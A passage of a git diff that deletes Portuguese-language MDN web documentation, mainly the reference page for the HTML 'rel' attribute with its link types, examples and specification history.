-<p>IDL attributes can <a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">reflect other types</a> such as unsigned long, URLs, booleans, etc. Unfortunately, there are no clear rules and the way IDL attributes behave in conjunction with their corresponding content attributes depends on the attribute. Most of the time, it will follow <a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">the rules laid out in the specification</a>, but sometimes it doesn't. HTML specifications try to make this as developer-friendly as possible, but for various reasons (mostly historical), some attributes  behave oddly (<code>select.size</code>, for example) and you should read the specifications to understand how exactly they behave.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/HTML/Elemento">Elementos de HTML</a></li>
-</ul>
diff --git a/files/pt-pt/web/html/attributes/rel/index.html b/files/pt-pt/web/html/attributes/rel/index.html
deleted file mode 100644
index e6ba17138c..0000000000
--- a/files/pt-pt/web/html/attributes/rel/index.html
+++ /dev/null
@@ -1,419 +0,0 @@
----
-title: 'HTML attribute: rel'
-slug: Web/HTML/Attributes/rel
-translation_of: Web/HTML/Attributes/rel
-original_slug: Web/HTML/Atributos/rel
----
-<p>{{draft}}</p>
-
-<p class="summary">O atributo <strong><code>rel</code></strong> define a relação entre um recurso ligado e o documento atual. É válido em {{htmlelement('link')}}, {{htmlelement('a')}}, {{htmlelement('area')}}, e {{htmlelement('form')}}. Os valores suportados dependem do elemento em que o atributo é usado.</p>
-
-<p>O tipo de relação (da ligação) é definido pelo atributo <strong><em><code>rel</code></em></strong> que, se existir, tem de ter um valor que é um conjunto de palavras-chave (<em>keywords</em>) únicas, desordenadas, e separadas por espaços. As palavras-chave possíveis estão na tabela em baixo.</p>
-
-<table class="standard-table">
- <caption>Valores possíves para o atributo <code>rel</code>, e os elementos em que são relevantes</caption>
- <thead>
- <tr>
- <th><code>rel</code> (valor)</th>
- <th>Descrição</th>
- <th><code>{{htmlelement('link')}}</code></th>
- <th><code>{{htmlelement('a')}}</code> e <code>{{htmlelement('area')}}</code></th>
- <th><code>{{htmlelement('form')}}</code></th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>{{anch("attr-alternate", "alternate")}}</code></td>
- <td>Representações alternativas do documento atual.</td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-author", "author")}}</code></td>
- <td>Autor do documento ou artigo atual.</td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-bookmark", "bookmark")}}</code></td>
- <td><em>Permalink</em> para a secção antecessora mais próxima.</td>
- <td class="not-allowed">Não permitido</td>
- <td><em>Link</em></td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-canonical", "canonical")}}</code></td>
- <td>URL ideal para o documento atual.</td>
- <td><em>Link</em></td>
- <td class="not-allowed">Não permitido</td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/HTML/Link_types/dns-prefetch">dns-prefetch</a></code></td>
- <td>Pede ao <em>browser</em> para antecipadamente efetuar a resolução de DNS para o <em>link</em> em questão.</td>
- <td>Recurso externo</td>
- <td class="not-allowed">Não permitido</td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-external", "external")}}</code></td>
- <td>O documento referenciado não pertence ao <em>site</em> do documento atual.</td>
- <td class="not-allowed">Não permitido</td>
- <td>Anotação</td>
- <td>Anotação</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-help", "help")}}</code></td>
- <td><em>Link</em> para material de apoio sobre o contexto atual.</td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- </tr>
- <tr>
- <td><code>{{anch("attr-icon", "icon")}}</code></td>
- <td>Um ícone representativo do documento atual.</td>
- <td>Recurso externo</td>
- <td class="not-allowed">Não permitido</td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-license", "license")}}</code></td>
- <td>O conteúdo principal do documento atual está protegido pela licença de direitos de autor<em> </em>referida no <em>link</em>.</td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/HTML/Link_types/manifest">manifest</a></code></td>
- <td><em>Web</em> <em>app</em> <em>manifest</em></td>
- <td class="not-allowed"><em>Link</em></td>
- <td>Não permitido</td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/HTML/Link_types/modulepreload">modulepreload</a></code></td>
- <td>Pede ao <em>browser</em> para antecipadamente descarregar o <em>script </em>e guardá-lo no mapa de módulos do documento, para avaliar depois. As dependências do módulo também podem ser descarregadas, opcionalmente.</td>
- <td>Recurso externo</td>
- <td class="not-allowed">Não permitido</td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-next", "next")}}</code></td>
- <td>Indica que o documento atual pertence a uma série de documentos, e que o documento referenciado por este <em>link </em>é o seguinte.</td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- </tr>
- <tr>
- <td><code>{{anch("attr-nofollow", "nofollow")}}</code></td>
- <td>Indica que o autor ou editor do documento atual não aprova o documento referenciado.</td>
- <td class="not-allowed">Não permitido</td>
- <td>Anotação</td>
- <td>Anotação</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/HTML/Link_types/noopener">noopener</a></code></td>
- <td>Cria um contexto de navegação de nível superior e não é "auxiliar" (não está relacionado com outro contexto de navegação), mesmo que a hiperligação estivesse configurada para criar outro tipo de contexto (atribuindo um certo valor ao atributo<code> target</code>, por exemplo).</td>
- <td class="not-allowed">Não permitido</td>
- <td>Anotação</td>
- <td>Anotação</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-noreferrer", "noreferrer")}}</code></td>
- <td>Comporta-se do mesmo modo que <code>noopener</code>, mas exclui o <em>header</em> <code>Referer</code> do pedido.</td>
- <td class="not-allowed">Não permitido</td>
- <td>Anotação</td>
- <td>Anotação</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-opener", "opener")}}</code></td>
- <td>Cria um contexto de navegação auxiliar, mesmo que a hiperligação fosse criar um contexto de navegação de nível superior que não fosse auxiliar  (por exemplo, no caso de um link com  "<code>_blank</code>" como valor do atributo <code>target</code>).</td>
- <td class="not-allowed">Não permitido</td>
- <td>Anotação</td>
- <td>Anotação</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-pingback", "pingback")}}</code></td>
- <td>Indica o endereço do servidor <em>pingback</em> que controla <em>pingbacks</em> para o document atual.</td>
- <td>Recurso externo</td>
- <td class="not-allowed">Não permitido</td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/HTML/Link_types/preconnect">preconnect</a></code></td>
- <td>Informa o <em>user agent</em> de que este deve ligar-se antecipadamente à origem do recurso apontado pelo <em>link</em>.</td>
- <td>Recurso externo</td>
- <td class="not-allowed">Não permitido</td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/HTML/Link_types/prefetch">prefetch</a></code></td>
- <td>Informa o <em>user agent</em> de que este deve antecipadamente descarregar o recurso apontado e guardá-lo em <em>cache</em>, porque é provável que este seja necessário numa futura navegação.</td>
- <td>Recurso externo</td>
- <td class="not-allowed">Não permitido</td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/HTML/Link_types/preload">preload</a></code></td>
- <td>
- <p>Informa o <em>user agent</em> de que este deve antecipadamente descarregar o recurso apontado e guardá-lo em <em>cache. </em>Tal deverá ocorrer para para que o recurso seja usado na navegação atual, com base no atributo <code><a href="as">as</a></code> (e na prioridade associada ao recurso apontado).</p>
- </td>
- <td>Recurso externo</td>
- <td class="not-allowed">Não permitido</td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/HTML/Link_types/prerender">prerender</a></code></td>
- <td>Informa o <em>user agent</em> de que este deve antecipadamente descarregar o recurso apontado e futuramente responder mais rapidamente ao mesmo pedido.</td>
- <td>Recurso externo</td>
- <td class="not-allowed">Não permitido</td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-prev", "prev")}}</code></td>
- <td>Indica que o documento atual pertence a uma série de documentos, e que o documento referenciado por este <em>link </em>é o anterior.</td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- </tr>
- <tr>
- <td><code>{{anch("attr-search", "search")}}</code></td>
- <td>Aponta para um recurso onde se pode pesquisar por conteúdo do documento atual e de páginas relacionadas.</td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- <td><em>Link</em></td>
- </tr>
- <tr>
- <td><code>{{anch("attr-stylesheet", "stylesheet")}}</code></td>
- <td>Importa uma <em>style sheet</em>.</td>
- <td>Recurso externo</td>
- <td class="not-allowed">Não permitido</td>
- <td class="not-allowed">Não permitido</td>
- </tr>
- <tr>
- <td><code>{{anch("attr-tag", "tag")}}</code></td>
- <td>Fornece uma <em>tag</em> (identificada pelo endereço referido) a ser usada no documento atual.</td>
- <td class="not-allowed">Não permitido</td>
- <td><em>Link</em></td>
- <td class="not-allowed">Não aplicado</td>
- </tr>
- </tbody>
-</table>
-
-<p>O atributo <code>rel</code> é relevate para os elementos {{htmlelement('link')}}, {{htmlelement('a')}}, {{htmlelement('area')}}, e {{htmlelement('form')}}. No entanto, alguns dos valores só são relevantes para casos específicos deste grupo de elementos. Para o valor de <code>rel</code>, não há diferenciação entre maiúsculas e minúsculas, tal como em nos atributos HTML em geral.</p>
-
-<p><code>rel</code> não tem um valor por defeito. Se o atributo for omitido ou se os seus valores forem inválidos, então não existe qualquer relação entre o documento atual e o recurso apontado, fora a existência de uma hiperligação. Por exemplo, para {{htmlelement('link')}} e {{htmlelement('form')}}, se <code>rel</code> for omitido, ou se não tiver pelo menos uma das <em>keywords</em> em cima (separadas por espaços), então não são criadas hiperligações. Mas se o mesmo acontecer com os elementos {{htmlelement('a')}} ou {{htmlelement('area')}}, então os elementos criam hiperligações sem uma relação específica.</p>
-
-<h2 id="Valores">Valores</h2>
-
-<p>Se houverem vários elementos <code>&lt;link rel="icon"&gt;</code>, o <em>browser</em> verifica os atributos <a href="media"><code>media</code></a>, <a href="type"><code>type</code></a> e <a href="sizes"><code>sizes</code></a> destes para selecionar o ícone mais adequado. Se mais do que um elemento for adequado, é o último que é usado. Se o ícone selecionado acabar por não ser apropriado (porque usa um formato não suportado, por exemplo), o <em>browser </em>seleciona o próximo elemento mais adequado.</p>
-
-<p><strong>Nota:</strong> Sistemas Apple iOS não usam este tipo de <em>link</em>, nem o atributo <a href="sizes"><code>sizes</code></a> (usado por outros <em>browsers </em>para dispositivos móveis), para escolher um ícone para um Web Clip ou para um <em>placeholder</em> visível no arranque. Sistemas iOS usam <a class="external external-icon" href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW4"><code>apple-touch-icon</code></a> e <a class="external external-icon" href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW6"><code>apple-touch-startup-image</code></a> respetivamente, atributos que não são padrão.</p>
-
-<p class="note">O tipo de <em>link</em> <code>shortcut</code> é frequentemente encontrado antes de <code>icon</code>, mas não é padrão, é ignorado, e <strong>já não deve ser usado por autores para a<em> web</em></strong>.</p>
-
-<dl>
- <dt>{{htmlattrdef("alternate")}}</dt>
- <dd>Aponta para uma versão alternativa do documento atual. É compatível com elementos <code>link</code>, <code>a</code>, e <code>area</code>. O efeito de <code>alternate</code> depende do valor de outros atributos:
- <ul>
- <li>Em conjunto com <code>{{anch('stylesheet')}} num </code><code>link</code>, <code>alternate</code> cria uma folha de estilo (<em>style sheet)</em> alternativa.
- <pre class="brush:html notranslate">&lt;!-- uma folha de estilo persistente --&gt;
-&lt;link rel="stylesheet" href="default.css"&gt;
-&lt;!-- folhas de estilo alternativas --&gt;
-&lt;link rel="alternate stylesheet" href="highcontrast.css" title="High contrast"&gt;</pre>
- </li>
- <li>Com um atributo <code><a href="hreflang">hreflang</a></code> que tenha um valor diferente da língua do documento, <code>alternate</code> aponta para uma versão traduzida do documento.</li>
- <li>Com um atributo <code><a href="type">type</a></code>, aponta para um documento com o mesmo contexto mas formato diferente. Por exemplo, com <code>type="application/rss+xml"</code> cria uma hiperligação para um <em>feed RSS</em>.
- <pre class="brush:html notranslate">&lt;link rel="alternate" type="application/atom+xml" href="posts.xml" title="Blog"&gt;</pre>
- </li>
- <li>Os atributos <a href="hreflang">hreflang</a> e <a href="type">type</a> apontam para versões do documento atua com formatos ou línguas diferentes, que podem ser dedicados a outros <em>media</em>
- <pre class="brush:html notranslate">&lt;link rel=alternate href="/fr/html/print" hreflang=fr type=text/html media=print title="French HTML (for printing)"&gt;
-&lt;link rel=alternate href="/fr/pdf" hreflang=fr type=application/pdf title="French PDF"&gt;</pre>
- </li>
- </ul>
- </dd>
- <dt>{{htmlattrdef("author")}}</dt>
- <dd>Cria uma hiperligação que indica o autor do documento ou artigo atual. Compatível com elementos {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando usado com {{htmlelement('a')}} ou {{htmlelement('area')}}, aponta para um documento (ou <code>mailto:</code>) com informação sobre o autor ou do {{htmlelement('article')}} pai mais próximo (se existir), ou do documento em si. No caso de um elemento {{htmlelement('link')}}, aponta para informação sobre o autor do documento atual.
- <p class="note">Nota: O atributo obsoleto <code>rev="made"</code> é tratado como <code>rel="alternate"</code></p>
- </dd>
- <dt>{{htmlattrdef("bookmark")}}</dt>
- <dd>Compatível com elementos {{htmlelement('a')}} e {{htmlelement('area')}}, <code>bookmark</code> informa que o <em>link é</em> um <em>permalink</em> para uma secção pai, que pode ser o {{htmlelement('article')}} ou {{htmlelement('section')}} mais próximo. Se tal secção não existir, o <em>link</em> refere-se ou ao <em>heading</em> mais próximo (que pode ser irmão do link, ou descender de um pai comum).</dd>
- <dt>{{htmlattrdef("canonical")}}</dt>
- <dd>Compatível com {{htmlelement('link')}}. Define o URL ideal para o documento atual, que é útil para motores de busca.</dd>
- <dt>{{htmlattrdef("dns-prefetch")}}</dt>
- <dd>Compatível com {{htmlelement('link')}}, seja dentro do {{htmlelement('body')}} ou do {{htmlelement('head')}}. Alerta o <em>browser</em> para antecipadamente efetuar resolução de DNS para a origem do recurso apontado. É útil para recursos que provavelmente serão úteis para o utilizador, porque este será capaz de aceder aos recursos mais rapidamente. Consulte a página sobre <a href="/pt-PT/docs/">como utilizar o DNS <em>prefetch</em></a> para mais informações.</dd>
- <dt>{{htmlattrdef("external")}}</dt>
- <dd>Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Indica que o documento referenciado não pertence ao <em>site </em>atual. Este valor é útil para estilizar links externos, e assim informar os utilizadores de que, se ativarem o elemento, vão abandonar o site atual.</dd>
- <dt>{{htmlattrdef("help")}}</dt>
- <dd>Compatível com {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Usado para representar uma ligação para conteúdo informativo sobre o pai do elemento com a hiperligação (e descendentes desse mesmo pai). Se um <code>&lt;link&gt;</code> contiver este valor, então o documento referenciado serve de apoio para o documento atual (em geral). Quando o valor está presente num elemento {{htmlelement('a')}} ou {{htmlelement('area')}}, o cursor {{cssxref('cursor')}} passará a <code>help</code> em vez de <code>pointer</code> (se possível).</dd>
- <dt>{{htmlattrdef("icon")}}</dt>
- <dd>
- <p>Compatível com {{htmlelement('link')}}. Indica que o recurso referenciado é um ícone representativo do documento atual.</p>
-
- <p>Este valor é principalmente utilizado para definir um <em>favicon</em>:</p>
-
- <pre class="brush: html notranslate">&lt;link rel="icon" href="favicon.ico"&gt;</pre>
-
- <p>Se houverem vários elementos <code>&lt;link rel="icon"&gt;</code>, então o <em>browser</em> deduz que <em>favicon</em> utilizar com base nos atributos <a href="media"><code>media</code></a>, <a href="type"><code>type</code></a>, e <a href="sizes"><code>sizes</code></a>. Caso mais que um destes elementos sejam os mais adequados (com base nestes critérios), então o <em>browser</em> seleciona o último destes. Se, posteriormente, o ícone mais adequado deixar de o ser, então o <em>browser </em>passa a usar o próximo ícone mais adequado.</p>
-
- <p><strong>Nota:</strong> para selecionar um ícone para um Web Clip ou para <em>placeholder</em> de arranque, o sistema iOS da Apple não usa nem este tipo de <em>link</em> nem o atributo <a href="sizes"><code>sizes</code></a>. Ao contrário de outros <em>browsers mobile</em>, este sistema usa os valores <a class="external external-icon" href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW4"><code>apple-touch-icon</code></a> e <a class="external external-icon" href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW6"><code>apple-touch-startup-image</code></a> respetivamente. Estes valores não são considerados <em>standard</em>.</p>
-
- <p class="note">O valor <code>shortcut</code> é frequentemente encontrado antes de <code>icon</code>, mas <strong>já não deve ser utilizado por autores na <em>web</em></strong>. <em>shortcut</em> não pertence a uma especificação, e é ignorado por diversos <em>browsers.</em> </p>
- </dd>
- <dt>{{htmlattrdef("license")}}</dt>
- <dd>
- <p>Compatível com elementos {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}. O valor indica que a hiperligação aponta para informação de licenciamento relativa ao documento atual. Deste modo, sabe-se que o conteúdo principal do documento atual está protegido pela licença de <em>copyright </em>descrita no documento referenciado. Mesmo quando utilizado num descendente que não pertence ao elemento {{HTMLElement("head")}}, não há distinção entre uma hiperligação para uma licença associada ou a parte do documento ou ao documento em geral. Esta distinção só é possível através da informação na página.</p>
-
- <pre class="brush: html notranslate">&lt;link rel="license" href="#license"&gt;</pre>
-
- <p><strong>Nota:</strong> Apesar de reconhecido, o valor "equivalente" <code>copyright</code> não é correto, pelo que deve ser evitado.</p>
- </dd>
- <dt>{{htmlattrdef("manifest")}}</dt>
- <dd><a href="/en-US/docs/Web/Manifest">Manifesto <em>web app</em></a>. Requer o protocolo CORS para adquirir dados de origens diferentes (<em>cross-origin</em>).</dd>
- <dt>{{htmlattrdef("modulepreload")}}</dt>
- <dd>Útil para questões de <em>performance</em>, compatível com elementos {{htmlelement('link')}} em todo o documento. Informa o <em>browser </em>de que este deve antecipadamente descarregar o <em>script </em>referenciado (com as dependências respetivas), e armazená-lo no módulo de mapa de módulos para futura avaliação. Hiperligações com <code>modulepreload</code> podem ser usados para garantir que o recurso é descarregado com o módulo pronto (mas não avaliado) no mapa de módulo ainda antes de ser necessário. Veja também a página sobre <a href="/en-US/docs/Web/HTML/Link_types/modulepreload">tipos de <em>link</em>: <code>modulepreload</code></a>.</dd>
- <dt>{{htmlattrdef("next")}}</dt>
- <dd>Compatível com {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Indica que o documento atual pertence a uma série de documentos, e que o documento na série que se segue é referenciado pelo elemento em questão. Quando o valor está presente num elemento <code>&lt;link&gt;</code>, os <em>browsers</em> podem assumir que este recurso vai ser necessário posteriormente, e considerar esta informação uma "resource hint" (dica de recurso que podem descarregar antecipadamente).</dd>
- <dt>{{htmlattrdef("nofollow")}}</dt>
- <dd>Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. <code>nofollow</code> informa <em>spiders </em>(de motores de busca) de que devem ignorar a relação definida pelo <em>link</em>. Este valor pode indicar que o dono do documento atual não confia ou aprova o documento referenciado. <code>nofollow</code> é frequentemente incluído por <em>Search Engine Optimizers</em> (otimizadores de motores de busca) para dar a impressão de que os seus <em>link farms</em> não são páginas de <em>spam</em>.</dd>
- <dt>{{htmlattrdef("noopener")}}</dt>
- <dd>Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando selecionado, o <em>link</em> cria um contexto de navegação de topo (<em>top-level browsing context</em>) que não é auxiliar (<em>auxiliary</em>), mesmo que tenha condições para criar um contexto auxiliar (ex.: por ter um valor para<code> target </code>adequado). Por outras palavras, o <em>link</em> comporta-se como se <code><a href="/en-US/docs/Web/API/Window/opener">window.opener</a></code> fosse nulo e <code><a href="target">target</a>="_parent"</code> estivesse definido.<br>
- <br>
- <code>noopener</code> faz o contrário de {{anch("opener")}}.</dd>
- <dt>{{htmlattrdef("noreferrer")}}</dt>
- <dd>Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando incluído, o <em>referrer </em>(página com referência para o recurso) desconhecido. Deste modo, o pedido não inclui <code>Referer</code> no <em>header, </em>e cria um contexto de navegação de topo (<em>top-level browsing context</em>), como se <code>noopener</code> também estivesse definido.</dd>
- <dt>{{htmlattrdef("opener")}}</dt>
- <dd>Cria um contexto de navegação auxiliar (<em>auxiliary browsing context</em>), mesmo que o <em>link</em> tenha características para criar um contexto de navegação que não fosse auxiliar (via <code>target="_blank"</code>).</dd>
- <dd><code>opener</code> faz o contrário de {{anch("noopener")}}.</dd>
- <dt>{{htmlattrdef("pingback")}}</dt>
- <dd>Define o endereço do servidor de <em>pingback</em> que controla <em>pingbacks</em> para o documento atual.</dd>
- <dt>{{htmlattrdef("preconnect")}}</dt>
- <dd>Define que o <em>user agent </em>deve antecipadamente conectar-se à origem do recurso apontado.</dd>
- <dt>{{htmlattrdef("prefetch")}}</dt>
- <dd>Define que o <em>user agent</em> deve antecipadamente descarregar e guardar em <em>cache</em> o recurso apontado. Deste modo, o recurso fica pronto se requisitado posteriormente.</dd>
- <dt>{{htmlattrdef("preload")}}</dt>
- <dd>Define que o <em>user agent</em> deve antecipadamente descarregar e guardar em <em>cache</em> o recurso apontado para a navegação atual. Deste modo, o recurso está preparado para ser usado num potencial destino da navegação, definido pelo atributo <code><a href="as">as</a></code> (a prioridade associada a este destino também é considerada).</dd>
- <dt>{{htmlattrdef("prerender")}}</dt>
- <dd>Define que o <em>user agent </em>deve antecipadamente descarregar e renderizar o recurso apontado, acelerando respostas a pedidos equivalentes.</dd>
- <dt>{{htmlattrdef("prev")}}</dt>
- <dd>
- <p>Equivalente à palavra-chave {{anch("next")}}, compatível com os elementos {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. O valor <code>prev</code> indica que o documento atual pertence a uma série de documentos, sendo o link referenciado para o documento que se segue ao atual.</p>
-
- <p>Nota: O valor sinónimo <code>previous</code> não deve ser usado incorrect and should not be used, porque é incorreto.</p>
- </dd>
- <dt>{{htmlattrdef("search")}}</dt>
- <dd>
- <p>Compatível com elementos {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. <code>search</code> indica que o <em>link</em> referencia um documento com uma <em>interface</em> para pesquisar por conteúdo do documento atual, seja no <em>site </em>ou em recursos relacionados.</p>
-
- <p>Se o atributo <code><a href="type">type</a></code> do elemento for <code>application/opensearchdescription+xml,</code> então o recurso apontado é um <em>plugin</em> <a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">OpenSearch</a> que pode ser facilmente adicionado a alguns <em>browsers,</em> como o Firefox ou o Internet Explorer.</p>
- </dd>
- <dt>{{htmlattrdef("stylesheet")}}</dt>
- <dd>
- <p>Compatível com elementos {{htmlelement('link')}}. Importa um recurso externo que é uma <em>stylesheet</em> (folha de estilos). Caso o <em>link</em> aponte para uma <em>stylesheet</em> do tipo <code>text/css</code>, então pode-se omitir o atributo <code><a href="type">type</a></code>.</p>
-
- <p>Apesar do valor identificar o <em>link </em>como uma <em>stylesheet</em>, outros atributos ou valores poderão determinar se esta é descarregada ou usada.</p>
-
- <p>Quando o valor <code>stylesheet</code> é usado em conjunto com {{anch('alternate')}}, passa a definir uma <em>stylesheet</em> alternativa. Neste caso, deve ter o atributo <code><a href="type">title</a></code> com um valor não-vazio.</p>
-
- <p>O recurso <em>stylesheet</em> externo não será usado nem descarregado em contextos multimédia que não correspondam ao definido pelo atributo <code><a href="media">media</a></code> (ex.: se o <em>link</em> para a <em>stylesheet </em>tiver um atributo <code>media </code>com valor "print", então a <em>stylesheet</em> não será descarregada quando a página é renderizada numa tela).</p>
-
- <p>Requer o uso do protocolo CORS para pedidos com origens diferentes.</p>
- </dd>
- <dt>{{htmlattrdef("tag")}}</dt>
- <dd>Compatível com elementos {{htmlelement('a')}} e {{htmlelement('area')}}. Define que o <em>link </em>referenciado identifica uma palavra-chave<em> </em>que se aplica ao documento atual. Este tipo de <em>link</em> não deve identificar palavras-chave numa <em>tag cloud</em>, porque estas aplicam-se apenas a um grupo de páginas, e não a uma página só (que é o objetivo do valor <code>tag</code>).</dd>
-</dl>
-
-<h3 id="Valores_que_não_são_standard">Valores que não são <em>standard</em></h3>
-
-<dl>
- <dt>apple-touch-icon-precomposed</dt>
- <dd>
- <pre class="brush: html notranslate"> &lt;!-- iPad de terceira geração com tela Retina de alta resolução: --&gt;
-  &lt;link rel="apple-touch-icon-precomposed" sizes="144x144" href="/static/img/favicon144.e7e21ca263ca.png"&gt;
-  &lt;!-- iPhone com tela Retina de alta resolução: --&gt;
-  &lt;link rel="apple-touch-icon-precomposed" sizes="114x114" href="/static/img/favicon114.d526f38b09c5.png"&gt;
-  &lt;!-- iPad de primeira e segunda gerações: --&gt;
-  &lt;link rel="apple-touch-icon-precomposed" sizes="72x72" href="/static/img/favicon72.cc65d1d762a0.png"&gt;
-  &lt;!-- iPhone e iPod Touch sem telas Retina, e dispositivos Android 2.1 ou superior: --&gt;
-  &lt;link rel="apple-touch-icon-precomposed" href="/static/img/favicon57.de33179910ae.png"&gt;
-  &lt;!-- favicon básico --&gt;
-  &lt;link rel="shortcut icon" href="/static/img/favicon32.7f3da72dcea1.png"&gt;</pre>
- </dd>
-</dl>
-
-<h2 id="Compatibilidade_de_Browsers_do_atributo_rel_em_geral">Compatibilidade de Browsers do atributo <em>rel </em>em geral</h2>
-
-<div class="hidden">Esta tabela de compatibilidade de <em>browsers</em> é gerada automaticamente a partir de dados organizados. Se quiser contribuir ao atualizar os dados, veja <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um <em>pull request</em>.</div>
-
-<p>{{Compat("html.elements.attributes.rel")}}</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('HTML WHATWG', 'links.html#linkTypes', 'rel attribute')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td>Adicionado <code>opener</code>. <code>noopener</code> passou a ser definido por omissão com <code>target="_blank"</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML5 W3C', 'links.html#linkTypes', 'rel attribute')}}</td>
- <td>{{Spec2('HTML5 W3C')}}</td>
- <td>Adicionados <code>tag</code>, <code>search</code>, <code>prefetch</code>, <code>noreferrer</code>, <code>nofollow</code>, <code>icon</code>, e <code>author</code>.<br>
- <code>copyright</code> passou a ser <code>license</code>.<br>
- Removidos <code>start</code>, <code>chapter</code>, <code>section</code>, <code>subsection</code>, e <code>appendix</code></td>
- </tr>
- <tr>
- <td>{{SpecName("Preload", "#x2.link-type-preload", "preload")}}</td>
- <td>{{Spec2("Preload")}}</td>
- <td>Adicionado <code>preload</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName("Resource Hints", "#dfn-preconnect", "preconnect")}}</td>
- <td>{{Spec2("Resource Hints")}}</td>
- <td>Adicionados <code>dns-prefetch</code>, <code>preconnect</code>, e <code>prerender</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName("HTML4.01", "types.html#type-links", "link types")}}</td>
- <td>{{Spec2("HTML4.01")}}</td>
- <td>Adicionados <code>alternate</code>, <code>stylesheet</code>, <code>start</code>, <code>chapter</code>, <code>section</code>, <code>subsection</code>, <code>appendix</code>, e <code>bookmark</code>.<br>
- <code>previous</code> passou a ser <code>prev</code>.<br>
- Removidos <code>top</code>, e <code>search</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName("HTML3.2", "#link", "&lt;link&gt;")}}</td>
- <td>
- <p>{{Spec2("HTML3.2")}}<span class="spec-Obsolete"> (Obsoleto)</span></p>
- </td>
- <td>Adicionados <code>top</code>, <code>contents</code>, <code>index</code>, <code>glossary</code>, <code>copyright</code>, <code>next</code>, <code>previous</code>, <code>help</code>, e <code>search</code>.</td>
- </tr>
- <tr>
- <td>{{RFC(1866, "HTML 2.0")}}</td>
- <td>{{Spec2("HTML2.0")}}<span class="spec-Obsolete">(Obsolete)</span></td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_Browsers_de_valores_rel_para_elementos_link">Compatibilidade de <em>Browsers </em>de valores <em>rel </em>para elementos <em>link</em></h2>
-
